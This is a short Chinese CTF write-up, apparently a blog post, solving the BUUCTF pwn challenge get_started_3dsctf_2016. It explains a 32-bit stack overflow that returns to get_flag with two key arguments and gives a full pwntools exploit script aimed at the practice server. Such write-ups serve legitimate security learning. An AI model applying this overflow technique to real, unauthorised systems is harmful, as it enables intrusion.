BUUCTF get_started_3dsctf_2016

1.Checksec & IDA Pro

 

 

 

Payload思路:

溢出 + get_flag地址 + 2个判断条件

但是这个思路还缺少一步

最后必须要返回exit,因为本题没有开启标准输入输出,输入输出会在缓冲区呆着,而exit执行后会将缓冲区输出,则可回显flag

因此正确的思路为

溢出 + get_flag地址 + exit + 2个判断条件

2.gdb动态调试

 

需要 -0x04,因为是32位程序,并且返回地址要改成 get_flag 的地址

3.构造PoC

 

 

key,key1的地址

 

 

from pwn import *

#io = process("/root/Desktop/PwnSubjects/get_started_3dsctf_2016")
io = remote("node4.buuoj.cn",25665)

fake_ebp = 0x804E6A0
get_flag = 0x80489A0
key = 0x195719D1
key1 = 0x308CD64F

payload = ( b'A' * ( 56 ) + p32(get_flag) + p32(fake_ebp) +p32(key1) + p32(key) )
io.sendline(payload)
io.interactive()

成功获取flag 

 

  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值